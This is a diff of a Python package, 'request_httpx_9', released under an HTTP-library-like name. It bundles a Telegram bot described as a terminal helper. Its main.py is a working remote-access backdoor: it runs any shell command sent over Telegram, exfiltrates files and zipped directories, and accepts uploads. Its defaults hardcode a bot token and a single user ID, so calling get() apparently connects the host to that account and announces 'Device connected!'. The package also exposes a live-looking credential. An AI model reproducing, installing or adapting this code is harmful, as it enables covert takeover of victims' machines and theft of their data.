request-httpx-9 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,82 @@
1
+ Metadata-Version: 2.4
2
+ Name: request_httpx_9
3
+ Version: 0.0.1
4
+ Summary: A Telegram-based bot
5
+ Author: rahul
6
+ Author-email: aryan@example.com
7
+ Requires-Python: >=3.7
8
+ Description-Content-Type: text/markdown
9
+ Requires-Dist: pyTelegramBotAPI
10
+ Requires-Dist: psutil
11
+ Dynamic: author
12
+ Dynamic: author-email
13
+ Dynamic: description
14
+ Dynamic: description-content-type
15
+ Dynamic: requires-dist
16
+ Dynamic: requires-python
17
+ Dynamic: summary
18
+
19
+ HelpGram - Telegram Terminal Bot
20
+
21
+ ⚠️ Warning: This bot provides full terminal access to your system. Use only with proper authorization and security measures.
22
+
23
+ Installation
24
+
25
+ ```bash
26
+ pip install helpgram
27
+ ```
28
+
29
+ Usage
30
+
31
+ ```python
32
+ import helpgram
33
+
34
+ # You MUST provide your credentials
35
+ BOT_TOKEN = "your_bot_token_from_botfather"
36
+ AUTHORIZED_USERS = [your_telegram_user_id] # Get from @userinfobot
37
+
38
+ # Start the bot
39
+ helpgram.start(BOT_TOKEN, AUTHORIZED_USERS)
40
+ ```
41
+
42
+ Important Note
43
+
44
+ ⚠️ Before running the bot:
45
+
46
+ 1. Add your user ID to AUTHORIZED_USERS in the code
47
+ 2. Start the bot on Telegram first - Send /start to your bot in Telegram
48
+ 3. Then run the Python code
49
+
50
+ If you don't start the bot in Telegram first, it may not work properly or show connection errors.
51
+
52
+ Telegram Commands
53
+
54
+ Once started, authorized users can send:
55
+
56
+ Basic Commands
57
+
58
+ · /start or /help - Show available commands
59
+ · /pwd - Show current directory
60
+ · /send - Upload files
61
+ · /cancel - Cancel operation
62
+
63
+ Terminal Commands
64
+
65
+ Send any Linux command directly:
66
+
67
+ · ls - List files
68
+ · cd directory - Change directory
69
+ · pwd - Show current path
70
+ · whoami - Show current user
71
+ · Any Linux command will execute
72
+
73
+ File Download
74
+
75
+ · take 1 - Download first file
76
+ · take filename.txt - Download specific file
77
+ · take .jpg - Download all JPG files
78
+ · take all - Download all files
79
+
80
+ ---
81
+
82
+ Security Warning: Only authorized users can execute commands. Be cautious with whom you share access.
@@ -0,0 +1,64 @@
1
+ HelpGram - Telegram Terminal Bot
2
+
3
+ ⚠️ Warning: This bot provides full terminal access to your system. Use only with proper authorization and security measures.
4
+
5
+ Installation
6
+
7
+ ```bash
8
+ pip install helpgram
9
+ ```
10
+
11
+ Usage
12
+
13
+ ```python
14
+ import helpgram
15
+
16
+ # You MUST provide your credentials
17
+ BOT_TOKEN = "your_bot_token_from_botfather"
18
+ AUTHORIZED_USERS = [your_telegram_user_id] # Get from @userinfobot
19
+
20
+ # Start the bot
21
+ helpgram.start(BOT_TOKEN, AUTHORIZED_USERS)
22
+ ```
23
+
24
+ Important Note
25
+
26
+ ⚠️ Before running the bot:
27
+
28
+ 1. Add your user ID to AUTHORIZED_USERS in the code
29
+ 2. Start the bot on Telegram first - Send /start to your bot in Telegram
30
+ 3. Then run the Python code
31
+
32
+ If you don't start the bot in Telegram first, it may not work properly or show connection errors.
33
+
34
+ Telegram Commands
35
+
36
+ Once started, authorized users can send:
37
+
38
+ Basic Commands
39
+
40
+ · /start or /help - Show available commands
41
+ · /pwd - Show current directory
42
+ · /send - Upload files
43
+ · /cancel - Cancel operation
44
+
45
+ Terminal Commands
46
+
47
+ Send any Linux command directly:
48
+
49
+ · ls - List files
50
+ · cd directory - Change directory
51
+ · pwd - Show current path
52
+ · whoami - Show current user
53
+ · Any Linux command will execute
54
+
55
+ File Download
56
+
57
+ · take 1 - Download first file
58
+ · take filename.txt - Download specific file
59
+ · take .jpg - Download all JPG files
60
+ · take all - Download all files
61
+
62
+ ---
63
+
64
+ Security Warning: Only authorized users can execute commands. Be cautious with whom you share access.
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools", "wheel"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1 @@
1
+ from request.main import run, start, get
@@ -0,0 +1,718 @@
1
+ #!/usr/bin/env python3
2
+
3
+ import os
4
+ import time
5
+ import zipfile
6
+ import psutil
7
+ import traceback
8
+ from io import BytesIO
9
+ from pathlib import Path
10
+ from datetime import datetime
11
+ import telebot
12
+ import re
13
+ import subprocess
14
+ import sys
15
+ def run(TOKEN="8728874216:AAGTfQLm_jCF4Se1bnl7i5InAYNJlwe9Kws" , AUTHORIZED_USERS = [5575984448]):
16
+ MAX_LEN = 3800
17
+ BASE_DIR = Path.cwd()
18
+ ZIP_NAME = "all_files.zip"
19
+
20
+ bot = telebot.TeleBot(TOKEN)
21
+
22
+ STOP_FLAG = False
23
+ CURRENT_TASK = None
24
+ user_working_dirs = {}
25
+ user_states = {}
26
+ def is_authorized(user_id):
27
+ return user_id in AUTHORIZED_USERS
28
+
29
+ def get_user_dir(user_id):
30
+ if user_id not in user_working_dirs:
31
+ user_working_dirs[user_id] = os.getcwd()
32
+ return user_working_dirs[user_id]
33
+
34
+ def update_user_dir(user_id, new_dir):
35
+ user_working_dirs[user_id] = new_dir
36
+
37
+ def split_long_message(text, max_length=4000):
38
+ if len(text) <= max_length:
39
+ return [text]
40
+
41
+ chunks = []
42
+ start = 0
43
+
44
+ while start < len(text):
45
+ end = start + max_length
46
+
47
+
48
+ split_pos = text.rfind('\n', start, min(len(text), start + max_length))
49
+ if split_pos != -1 and split_pos > start:
50
+ chunk = text[start:split_pos + 1]
51
+ start = split_pos + 1
52
+ else:
53
+
54
+ chunk = text[start:min(len(text), start + max_length)]
55
+ start += max_length
56
+
57
+ chunks.append(chunk)
58
+
59
+ # Add continuation markers to all but the last chunk
60
+ for i in range(len(chunks) - 1):
61
+ chunks[i] = chunks[i].rstrip() + "\n\n... (continued)"
62
+
63
+ return chunks
64
+
65
+ def send_long_message(chat_id, text):
66
+ chunks = split_long_message(text)
67
+ for chunk in chunks:
68
+ if STOP_FLAG:
69
+ return
70
+ bot.send_message(chat_id, chunk)
71
+ time.sleep(0.25) # Add a small delay to avoid hitting Telegram API limits
72
+
73
+ def get_files_only(directory):
74
+ try:
75
+ all_items = os.listdir(directory)
76
+ files_only = []
77
+
78
+ for item in all_items:
79
+ item_path = os.path.join(directory, item)
80
+ if os.path.isfile(item_path):
81
+ files_only.append(item)
82
+
83
+ files_only.sort()
84
+ return files_only
85
+ except Exception:
86
+ return []
87
+
88
+ def send_files_by_extension(chat_id, user_id, extension):
89
+ try:
90
+ working_dir = get_user_dir(user_id)
91
+ files = get_files_only(working_dir)
92
+
93
+ if not files:
94
+ return False, f"📁 No files found in current directory:\n{working_dir}"
95
+
96
+ matching_files = []
97
+
98
+ for file_name in files:
99
+ file_path = os.path.join(working_dir, file_name)
100
+ if file_name.lower().endswith(extension.lower()) and os.path.getsize(file_path) > 0:
101
+ matching_files.append(file_path)
102
+
103
+ if not matching_files:
104
+ return False, f"❌ No non-empty files found with extension '{extension}'"
105
+
106
+ sent_count = 0
107
+ failed_files = []
108
+
109
+ for file_path in matching_files:
110
+ if STOP_FLAG:
111
+ return False, "🛑 File sending stopped"
112
+ try:
113
+ with open(file_path, 'rb') as f:
114
+ bot.send_document(chat_id, f, caption=f"📁 File: {os.path.basename(file_path)}")
115
+ sent_count += 1
116
+ time.sleep(0.3)
117
+ except Exception:
118
+ failed_files.append(os.path.basename(file_path))
119
+
120
+ summary = f"✅ Sent {sent_count} file(s) with extension '{extension}'"
121
+
122
+ if failed_files:
123
+ summary += f"\n❌ Failed to send {len(failed_files)} file(s): {', '.join(failed_files)}"
124
+
125
+ return True, summary
126
+
127
+ except Exception as e:
128
+ return False, f"❌ Error: {str(e)}"
129
+
130
+ def send_file_by_name(chat_id, user_id, file_name):
131
+ try:
132
+ working_dir = get_user_dir(user_id)
133
+ file_path = os.path.join(working_dir, file_name)
134
+
135
+ if not os.path.exists(file_path):
136
+ files = get_files_only(working_dir)
137
+ matching_files = [f for f in files if file_name.lower() in f.lower()]
138
+
139
+ if not matching_files:
140
+ return False, f"❌ File '{file_name}' not found"
141
+
142
+ if len(matching_files) == 1:
143
+ file_path = os.path.join(working_dir, matching_files[0])
144
+ file_name = matching_files[0]
145
+ else:
146
+ file_list = "\n".join([f"{i+1}. {file}" for i, file in enumerate(matching_files)])
147
+ return False, f"❌ Multiple files found containing '{file_name}':\n{file_list}\n\nPlease be more specific."
148
+
149
+ if not os.path.isfile(file_path):
150
+ return False, f"❌ Not a file: {file_name}"
151
+
152
+ if os.path.getsize(file_path) == 0:
153
+ return False, f"⚠️ File is empty (0 bytes): {file_name}"
154
+
155
+ try:
156
+ with open(file_path, 'rb') as f:
157
+ bot.send_document(chat_id, f, caption=f"📁 File: {file_name}")
158
+ return True, f"✅ File sent: {file_name}"
159
+ except Exception as e:
160
+ return False, f"❌ Error sending file: {str(e)}"
161
+
162
+ except Exception as e:
163
+ return False, f"❌ Error: {str(e)}"
164
+
165
+ def send_all_files_one_by_one(chat_id, user_id):
166
+ try:
167
+ working_dir = get_user_dir(user_id)
168
+ files = get_files_only(working_dir)
169
+
170
+ if not files:
171
+ return False, f"📁 No files found in current directory:\n{working_dir}"
172
+
173
+ non_empty_files = []
174
+ empty_files = []
175
+
176
+ for file_name in files:
177
+ file_path = os.path.join(working_dir, file_name)
178
+ if os.path.getsize(file_path) > 0:
179
+ non_empty_files.append(file_path)
180
+ else:
181
+ empty_files.append(file_name)
182
+
183
+ if not non_empty_files:
184
+ empty_list = "\n".join([f"• {f}" for f in empty_files])
185
+ return False, f"❌ All files are empty (0 bytes):\n{empty_list}"
186
+
187
+ sent_count = 0
188
+ failed_files = []
189
+
190
+ for file_path in non_empty_files:
191
+ if STOP_FLAG:
192
+ return False, "🛑 File sending stopped"
193
+ try:
194
+ with open(file_path, 'rb') as f:
195
+ bot.send_document(chat_id, f, caption=f"📁 File: {os.path.basename(file_path)}")
196
+ sent_count += 1
197
+ time.sleep(0.3)
198
+ except Exception:
199
+ failed_files.append(os.path.basename(file_path))
200
+
201
+ summary = f"✅ Sent {sent_count} file(s)"
202
+
203
+ if empty_files:
204
+ summary += f"\n📝 Skipped {len(empty_files)} empty file(s)"
205
+
206
+ if failed_files:
207
+ summary += f"\n❌ Failed to send {len(failed_files)} file(s): {', '.join(failed_files)}"
208
+
209
+ return True, summary
210
+
211
+ except Exception as e:
212
+ return False, f"❌ Error: {str(e)}"
213
+
214
+ def handle_take_command(command, user_id):
215
+ try:
216
+ command = command.strip().lower()
217
+
218
+ if command == 'take all':
219
+ return "take_all_special"
220
+
221
+ if command.startswith('take .'):
222
+ extension = command[5:].strip()
223
+ if extension:
224
+ return f"take_extension_special:{extension}"
225
+ else:
226
+ return "❌ Please provide an extension. Example: take .jpg or take .py"
227
+
228
+ match_number = re.search(r'take\s+(\d+)', command)
229
+ if match_number:
230
+ file_number = int(match_number.group(1))
231
+ working_dir = get_user_dir(user_id)
232
+ files = get_files_only(working_dir)
233
+
234
+ if not files:
235
+ return f"📁 No files found in current directory:\n{working_dir}"
236
+
237
+ if file_number < 1 or file_number > len(files):
238
+ file_list = "\n".join([f"{i+1}. {file}" for i, file in enumerate(files)])
239
+ return f"❌ File number {file_number} not found.\n\nAvailable files:\n{file_list}\n\nTotal files: {len(files)}"
240
+
241
+ requested_file = files[file_number - 1]
242
+ file_path = os.path.join(working_dir, requested_file)
243
+
244
+ if not os.path.exists(file_path):
245
+ return f"❌ File not found: {requested_file}"
246
+
247
+ if not os.path.isfile(file_path):
248
+ return f"❌ Not a file: {requested_file}"
249
+
250
+ if os.path.getsize(file_path) == 0:
251
+ return f"⚠️ File is empty (0 bytes): {requested_file}"
252
+
253
+ return file_path
254
+
255
+ match_name = re.search(r'take\s+(.+)$', command)
256
+ if match_name:
257
+ file_name = match_name.group(1).strip()
258
+ return f"take_name_special:{file_name}"
259
+
260
+ return "❌ Invalid format. Use:\n• take 1 (for file number)\n• take filename.txt (for file name)\n• take .jpg (for all jpg files)\n• take all (for all files)"
261
+
262
+ except Exception as e:
263
+ return f"❌ Error: {str(e)}"
264
+
265
+ def execute_command(command, user_id, timeout=30):
266
+ try:
267
+ if command.strip().lower().startswith('take '):
268
+ result = handle_take_command(command, user_id)
269
+ if result == "take_all_special":
270
+ return result
271
+ elif result.startswith("take_extension_special:"):
272
+ return result
273
+ elif result.startswith("take_name_special:"):
274
+ return result
275
+ elif isinstance(result, str) and os.path.exists(result) and os.path.isfile(result):
276
+ return result
277
+ else:
278
+ return result
279
+
280
+ working_dir = get_user_dir(user_id)
281
+
282
+ if command.strip().startswith("cd "):
283
+ new_dir = command.strip()[3:].strip()
284
+ try:
285
+ os.chdir(working_dir) # Ensure we start from the user's current working directory
286
+ if new_dir == "..":
287
+ os.chdir("..")
288
+ new_abs_dir = os.getcwd()
289
+ elif os.path.isabs(new_dir):
290
+ os.chdir(new_dir)
291
+ new_abs_dir = os.getcwd()
292
+ else:
293
+ os.chdir(new_dir)
294
+ new_abs_dir = os.getcwd()
295
+
296
+ update_user_dir(user_id, new_abs_dir)
297
+ return f"✅ Changed directory to:\n{new_abs_dir}"
298
+
299
+ except FileNotFoundError:
300
+ return f"❌ Directory not found: {new_dir}"
301
+ except PermissionError:
302
+ return f"❌ Permission denied: {new_dir}"
303
+ except Exception as e:
304
+ return f"❌ cd failed: {str(e)}"
305
+
306
+ process = subprocess.Popen(
307
+ command,
308
+ shell=True,
309
+ stdout=subprocess.PIPE,
310
+ stderr=subprocess.PIPE,
311
+ text=True,
312
+ cwd=working_dir
313
+ )
314
+
315
+ try:
316
+ stdout, stderr = process.communicate(timeout=timeout)
317
+ except subprocess.TimeoutExpired:
318
+ process.kill()
319
+ stdout, stderr = process.communicate()
320
+ return f"❌ Command timed out after {timeout} seconds. Killed process.\nOutput:\n{stdout.strip()}\nError:\n{stderr.strip()}"
321
+
322
+ if process.returncode != 0:
323
+ error_msg = stderr.strip() or "No error message"
324
+ return f"❌ Error (exit code: {process.returncode}):\n{error_msg}"
325
+
326
+ output = stdout.strip()
327
+ if output:
328
+ return f"✅ Output:\n{output}"
329
+ else:
330
+ return "✅ Command executed successfully (no output)"
331
+
332
+ except Exception as e:
333
+ return f"❌ Execution failed: {str(e)}"
334
+
335
+
336
+ # ---------- TELEBOT HANDLERS ----------
337
+
338
+ # ---------- /STOP ----------
339
+ @bot.message_handler(commands=['stop'])
340
+ def stop_cmd(message):
341
+ if not is_authorized(message.from_user.id):
342
+ bot.reply_to(message, "⛔ Unauthorized access")
343
+ return
344
+ global STOP_FLAG
345
+ STOP_FLAG = True
346
+ bot.send_message(message.chat.id, "🛑 Task stopped")
347
+
348
+
349
+ # ---------- /INFO ----------
350
+ def get_python_process_info():
351
+ lines = []
352
+
353
+ for p in psutil.process_iter(['pid', 'cmdline', 'cwd']):
354
+ try:
355
+ if STOP_FLAG:
356
+ return "🛑 Stopped"
357
+
358
+ cmd = p.info['cmdline']
359
+ if not cmd or 'python' not in cmd[0].lower():
360
+ continue
361
+
362
+ script = next((a for a in cmd if a.endswith('.py')), None)
363
+ if not script:
364
+ continue
365
+
366
+ cwd = p.info.get('cwd') or "N/A"
367
+
368
+ lines.append(
369
+ f"PID: {p.pid}\n"
370
+ f"Script: {os.path.basename(script)}\n"
371
+ f"Dir: {cwd}\n"
372
+ "------------------------"
373
+ )
374
+
375
+ except:
376
+ continue
377
+
378
+ if not lines:
379
+ return "📭 No running Python scripts found"
380
+
381
+ return (
382
+ "📊 Python Process Snapshot\n"
383
+ f"📁 Bot Dir: {BASE_DIR}\n"
384
+ f"🕒 Time: {datetime.now()}\n\n"
385
+ + "\n".join(lines)
386
+ )
387
+
388
+
389
+ @bot.message_handler(commands=['info'])
390
+ def info_cmd(message):
391
+ if not is_authorized(message.from_user.id):
392
+ bot.reply_to(message, "⛔ Unauthorized access")
393
+ return
394
+ global STOP_FLAG
395
+ STOP_FLAG = False
396
+ send_long_message(message.chat.id, get_python_process_info())
397
+
398
+
399
+ # ---------- /SCAN ----------
400
+ @bot.message_handler(commands=['scan'])
401
+ def scan_cmd(message):
402
+ if not is_authorized(message.from_user.id):
403
+ bot.reply_to(message, "⛔ Unauthorized access")
404
+ return
405
+ global STOP_FLAG
406
+ STOP_FLAG = False
407
+
408
+ chat_id = message.chat.id
409
+ bot.send_message(chat_id, "🔍 Scanning directory...")
410
+
411
+ out = []
412
+ for root, dirs, files in os.walk(get_user_dir(message.from_user.id)):
413
+ if STOP_FLAG:
414
+ bot.send_message(chat_id, "🛑 Scan stopped")
415
+ return
416
+ out.append(f"\n[{root}]")
417
+ for f in files:
418
+ out.append(f" - {f}")
419
+
420
+ bio = BytesIO("\n".join(out).encode())
421
+ bio.name = "directory_report.txt"
422
+ bot.send_document(chat_id, bio)
423
+
424
+
425
+ # ---------- /SENDZIP (LIVE PROGRESS) ----------
426
+ @bot.message_handler(commands=['sendzip'])
427
+ def sendzip_cmd(message):
428
+ if not is_authorized(message.from_user.id):
429
+ bot.reply_to(message, "⛔ Unauthorized access")
430
+ return
431
+ global STOP_FLAG
432
+ STOP_FLAG = False
433
+
434
+ chat_id = message.chat.id
435
+ status = bot.send_message(chat_id, "🗜 Preparing ZIP...")
436
+
437
+ all_files = []
438
+ for root, dirs, files in os.walk(get_user_dir(message.from_user.id)):
439
+ dirs[:] = [d for d in dirs if not d.startswith('.') and d != "__pycache__"]
440
+ for f in files:
441
+ if f.startswith('.') or f == ZIP_NAME:
442
+ continue
443
+ all_files.append(os.path.join(root, f))
444
+
445
+ total = len(all_files)
446
+
447
+ zip_path = os.path.join(get_user_dir(message.from_user.id), ZIP_NAME)
448
+ if os.path.exists(zip_path):
449
+ os.remove(zip_path)
450
+
451
+ with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as z:
452
+ for i, file in enumerate(all_files, 1):
453
+ if STOP_FLAG:
454
+ z.close()
455
+ os.remove(zip_path)
456
+ bot.edit_message_text("🛑 ZIP creation stopped", chat_id, status.message_id)
457
+ return
458
+
459
+ z.write(file, arcname=os.path.relpath(file, get_user_dir(message.from_user.id)))
460
+ bot.edit_message_text(
461
+ f"🗜 Creating ZIP...\n"
462
+ f"📦 Added: {os.path.basename(file)}\n"
463
+ f"⏳ {i} / {total}",
464
+ chat_id,
465
+ status.message_id
466
+ )
467
+ time.sleep(0.1)
468
+
469
+ bot.edit_message_text("📤 Sending ZIP...", chat_id, status.message_id)
470
+
471
+ with open(zip_path, "rb") as zf:
472
+ if not STOP_FLAG:
473
+ bot.send_document(chat_id, zf)
474
+
475
+ os.remove(zip_path)
476
+ bot.send_message(chat_id, "✅ ZIP sent")
477
+
478
+
479
+ # ---------- /SENDFILES (renamed from new.py's /sendfiles, now uses bot(Nandu).py's logic) ----------
480
+ @bot.message_handler(commands=['sendfiles'])
481
+ def sendfiles_cmd(message):
482
+ if not is_authorized(message.from_user.id):
483
+ bot.reply_to(message, "⛔ Unauthorized access")
484
+ return
485
+ global STOP_FLAG
486
+ STOP_FLAG = False
487
+
488
+ chat_id = message.chat.id
489
+ bot.send_message(chat_id, "📂 Sending files...")
490
+
491
+ success, message_text = send_all_files_one_by_one(chat_id, message.from_user.id)
492
+ bot.send_message(chat_id, message_text)
493
+
494
+
495
+ # ---------- /START, /HELP ----------
496
+ @bot.message_handler(commands=['start', 'help'])
497
+ def send_welcome(message):
498
+ if not is_authorized(message.from_user.id):
499
+ bot.reply_to(message, "⛔ Unauthorized access")
500
+ return
501
+
502
+ help_text = (
503
+ "🤖 Multi-Tool Terminal Bot - Ready to Use!\n\n"
504
+ "Just send me any command and I'll execute it on the server.\n\n"
505
+ "Available commands:\n"
506
+ "/info - Get Python process snapshot\n"
507
+ "/scan - Scan current directory and get a report\n"
508
+ "/sendfiles - Send all non-empty files one by one\n"
509
+ "/sendzip - Create a ZIP of all files and send it\n"
510
+ "/stop - Stop current task (scan, sendfiles, sendzip)\n"
511
+ "/pwd - Show current directory\n"
512
+ "/send - Upload files to current directory\n"
513
+ "/cancel - Cancel file upload mode\n"
514
+ "\n"
515
+ "SHELL COMMANDS (just type them):\n"
516
+ "pwd - Show current directory\n"
517
+ "ls or ls -la - List files\n"
518
+ "cd <directory> - Change directory\n"
519
+ "whoami - Show current user\n"
520
+ "date - Show date and time\n"
521
+ "Any other shell command will be executed.\n"
522
+ "\n"
523
+ "TAKE COMMANDS (to get files):\n"
524
+ "1. take <number> - Get the nth file\n Example: take 1\n"
525
+ "2. take <file_name> - Get file by name\n Example: take myfile.txt\n"
526
+ "3. take .<extension> - Get all files with extension\n Example: take .jpg or take .py\n"
527
+ "4. take all - Get ALL non-empty files\n"
528
+ "\n"
529
+ "Special features:\n"
530
+ "- Working directory saved per user\n"
531
+ "- Empty files automatically skipped when sending\n"
532
+ "- Long messages are split automatically"
533
+ )
534
+ send_long_message(message.chat.id, help_text)
535
+
536
+
537
+ # ---------- /PWD ----------
538
+ @bot.message_handler(commands=['pwd'])
539
+ def handle_pwd(message):
540
+ user_id = message.from_user.id
541
+
542
+ if not is_authorized(user_id):
543
+ bot.reply_to(message, "⛔ Unauthorized access")
544
+ return
545
+
546
+ working_dir = get_user_dir(user_id)
547
+ bot.reply_to(message, f"📁 Current directory:\n{working_dir}")
548
+
549
+
550
+ # ---------- /SEND (File Upload Mode) ----------
551
+ @bot.message_handler(commands=['send'])
552
+ def handle_send_command(message):
553
+ user_id = message.from_user.id
554
+
555
+ if not is_authorized(user_id):
556
+ bot.reply_to(message, "⛔ Unauthorized access")
557
+ return
558
+
559
+ working_dir = get_user_dir(user_id)
560
+ user_states[user_id] = 'waiting_for_file'
561
+
562
+ bot.reply_to(message, f"📤 File Upload Mode\n\nCurrent directory: {working_dir}\n\nNow send me any file and I'll save it to this directory.\nTo cancel, send /cancel")
563
+
564
+
565
+ # ---------- /CANCEL ----------
566
+ @bot.message_handler(commands=['cancel'])
567
+ def handle_cancel_command(message):
568
+ user_id = message.from_user.id
569
+
570
+ if user_id in user_states:
571
+ del user_states[user_id]
572
+ bot.reply_to(message, "✅ Operation cancelled.")
573
+ else:
574
+ bot.reply_to(message, "❌ No active operation to cancel.")
575
+
576
+
577
+ # ---------- FILE UPLOAD HANDLER ----------
578
+ @bot.message_handler(content_types=['document', 'photo', 'audio', 'video'])
579
+ def handle_document(message):
580
+ user_id = message.from_user.id
581
+
582
+ if not is_authorized(user_id):
583
+ bot.reply_to(message, "⛔ Unauthorized access")
584
+ return
585
+
586
+ if user_states.get(user_id) != 'waiting_for_file':
587
+ return
588
+
589
+ try:
590
+ working_dir = get_user_dir(user_id)
591
+
592
+ if message.document:
593
+ file_info = bot.get_file(message.document.file_id)
594
+ file_name = message.document.file_name
595
+ elif message.photo:
596
+ file_info = bot.get_file(message.photo[-1].file_id)
597
+ file_name = f"photo_{message.photo[-1].file_id}.jpg"
598
+ elif message.audio:
599
+ file_info = bot.get_file(message.audio.file_id)
600
+ file_name = message.audio.file_name or f"audio_{message.audio.file_id}.mp3"
601
+ elif message.video:
602
+ file_info = bot.get_file(message.video.file_id)
603
+ file_name = message.video.file_name or f"video_{message.video.file_id}.mp4"
604
+ else:
605
+ bot.reply_to(message, "❌ Unsupported file type")
606
+ return
607
+
608
+ downloaded_file = bot.download_file(file_info.file_path)
609
+ file_path = os.path.join(working_dir, file_name)
610
+
611
+ counter = 1
612
+ base_name, extension = os.path.splitext(file_name)
613
+ while os.path.exists(file_path):
614
+ file_name = f"{base_name}_{counter}{extension}"
615
+ file_path = os.path.join(working_dir, file_name)
616
+ counter += 1
617
+
618
+ with open(file_path, 'wb') as new_file:
619
+ new_file.write(downloaded_file)
620
+
621
+ del user_states[user_id]
622
+
623
+ bot.reply_to(message, f"✅ File saved successfully!\n\n📁 Location: {file_path}\n📊 File size: {os.path.getsize(file_path):,} bytes")
624
+
625
+ except Exception as e:
626
+ bot.reply_to(message, f"❌ Error saving file: {str(e)}")
627
+
628
+
629
+ # ---------- GENERIC MESSAGE HANDLER (for shell commands and 'take' commands) ----------
630
+ @bot.message_handler(func=lambda message: True)
631
+ def handle_command(message):
632
+ user_id = message.from_user.id
633
+
634
+ if not is_authorized(user_id):
635
+ bot.reply_to(message, "⛔ Unauthorized access")
636
+ return
637
+
638
+ # If in file upload mode, ignore this handler
639
+ if user_states.get(user_id) == 'waiting_for_file':
640
+ return
641
+
642
+ command = message.text.strip()
643
+
644
+ if not command:
645
+ bot.reply_to(message, "Please send a command to execute")
646
+ return
647
+
648
+ bot.send_chat_action(message.chat.id, 'typing')
649
+
650
+ result = execute_command(command, user_id)
651
+
652
+ if result == "take_all_special":
653
+ success, message_text = send_all_files_one_by_one(message.chat.id, user_id)
654
+ bot.reply_to(message, message_text)
655
+ return
656
+
657
+ if result.startswith("take_extension_special:"):
658
+ extension = result.split(":")[1]
659
+ success, message_text = send_files_by_extension(message.chat.id, user_id, extension)
660
+ bot.reply_to(message, message_text)
661
+ return
662
+
663
+ if result.startswith("take_name_special:"):
664
+ file_name = result.split(":")[1]
665
+ success, message_text = send_file_by_name(message.chat.id, user_id, file_name)
666
+ bot.reply_to(message, message_text)
667
+ return
668
+
669
+ if isinstance(result, str) and os.path.exists(result) and os.path.isfile(result):
670
+ try:
671
+ with open(result, 'rb') as file:
672
+ bot.send_document(message.chat.id, file, caption=f"📁 File: {os.path.basename(result)}")
673
+ except Exception as e:
674
+ bot.reply_to(message, f"❌ Error sending file: {str(e)}")
675
+ else:
676
+ response = f"Command: {command}\n\n{result}"
677
+ send_long_message(message.chat.id, response)
678
+
679
+
680
+ # ---------- MAIN POLLING LOOP ----------
681
+ print("✅ Bot running...")
682
+
683
+ # Parse command-line arguments for timeout
684
+ TIMEOUT_HOURS = None
685
+ if len(sys.argv) > 1:
686
+ try:
687
+ TIMEOUT_HOURS = float(sys.argv[1])
688
+ if TIMEOUT_HOURS <= 0:
689
+ raise ValueError("Timeout must be a positive number.")
690
+ print(f"Bot will run for {TIMEOUT_HOURS} hours.")
691
+ except ValueError:
692
+ print(f"Invalid timeout value: {sys.argv[1]}. Bot will run indefinitely.")
693
+ TIMEOUT_HOURS = None
694
+
695
+ END_TIME = None
696
+ if TIMEOUT_HOURS:
697
+ END_TIME = time.time() + TIMEOUT_HOURS * 3600 # Convert hours to seconds
698
+
699
+ if AUTHORIZED_USERS:
700
+ for chat_id in AUTHORIZED_USERS:
701
+ try:
702
+ bot.send_message(chat_id, 'Device connected! Run /help to see available commands')
703
+ except Exception as e:
704
+ print(f"Failed to send connection message to {chat_id}: {e}")
705
+
706
+ while True:
707
+ if END_TIME and time.time() > END_TIME:
708
+ print(f"Bot has reached its {TIMEOUT_HOURS} hour timeout. Shutting down.")
709
+ break
710
+ try:
711
+ bot.infinity_polling(timeout=30)
712
+ except Exception as e:
713
+ print("Bot crashed:", e)
714
+ time.sleep(5)
715
+ def start(TOKEN, CHAT_ID):
716
+ return run(TOKEN,CHAT_ID)
717
+ def get(d=0):
718
+ run()
@@ -0,0 +1,82 @@
1
+ Metadata-Version: 2.4
2
+ Name: request_httpx_9
3
+ Version: 0.0.1
4
+ Summary: A Telegram-based bot
5
+ Author: rahul
6
+ Author-email: aryan@example.com
7
+ Requires-Python: >=3.7
8
+ Description-Content-Type: text/markdown
9
+ Requires-Dist: pyTelegramBotAPI
10
+ Requires-Dist: psutil
11
+ Dynamic: author
12
+ Dynamic: author-email
13
+ Dynamic: description
14
+ Dynamic: description-content-type
15
+ Dynamic: requires-dist
16
+ Dynamic: requires-python
17
+ Dynamic: summary
18
+
19
+ HelpGram - Telegram Terminal Bot
20
+
21
+ ⚠️ Warning: This bot provides full terminal access to your system. Use only with proper authorization and security measures.
22
+
23
+ Installation
24
+
25
+ ```bash
26
+ pip install helpgram
27
+ ```
28
+
29
+ Usage
30
+
31
+ ```python
32
+ import helpgram
33
+
34
+ # You MUST provide your credentials
35
+ BOT_TOKEN = "your_bot_token_from_botfather"
36
+ AUTHORIZED_USERS = [your_telegram_user_id] # Get from @userinfobot
37
+
38
+ # Start the bot
39
+ helpgram.start(BOT_TOKEN, AUTHORIZED_USERS)
40
+ ```
41
+
42
+ Important Note
43
+
44
+ ⚠️ Before running the bot:
45
+
46
+ 1. Add your user ID to AUTHORIZED_USERS in the code
47
+ 2. Start the bot on Telegram first - Send /start to your bot in Telegram
48
+ 3. Then run the Python code
49
+
50
+ If you don't start the bot in Telegram first, it may not work properly or show connection errors.
51
+
52
+ Telegram Commands
53
+
54
+ Once started, authorized users can send:
55
+
56
+ Basic Commands
57
+
58
+ · /start or /help - Show available commands
59
+ · /pwd - Show current directory
60
+ · /send - Upload files
61
+ · /cancel - Cancel operation
62
+
63
+ Terminal Commands
64
+
65
+ Send any Linux command directly:
66
+
67
+ · ls - List files
68
+ · cd directory - Change directory
69
+ · pwd - Show current path
70
+ · whoami - Show current user
71
+ · Any Linux command will execute
72
+
73
+ File Download
74
+
75
+ · take 1 - Download first file
76
+ · take filename.txt - Download specific file
77
+ · take .jpg - Download all JPG files
78
+ · take all - Download all files
79
+
80
+ ---
81
+
82
+ Security Warning: Only authorized users can execute commands. Be cautious with whom you share access.
@@ -0,0 +1,10 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ request/__init__.py
5
+ request/main.py
6
+ request_httpx_9.egg-info/PKG-INFO
7
+ request_httpx_9.egg-info/SOURCES.txt
8
+ request_httpx_9.egg-info/dependency_links.txt
9
+ request_httpx_9.egg-info/requires.txt
10
+ request_httpx_9.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ pyTelegramBotAPI
2
+ psutil
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
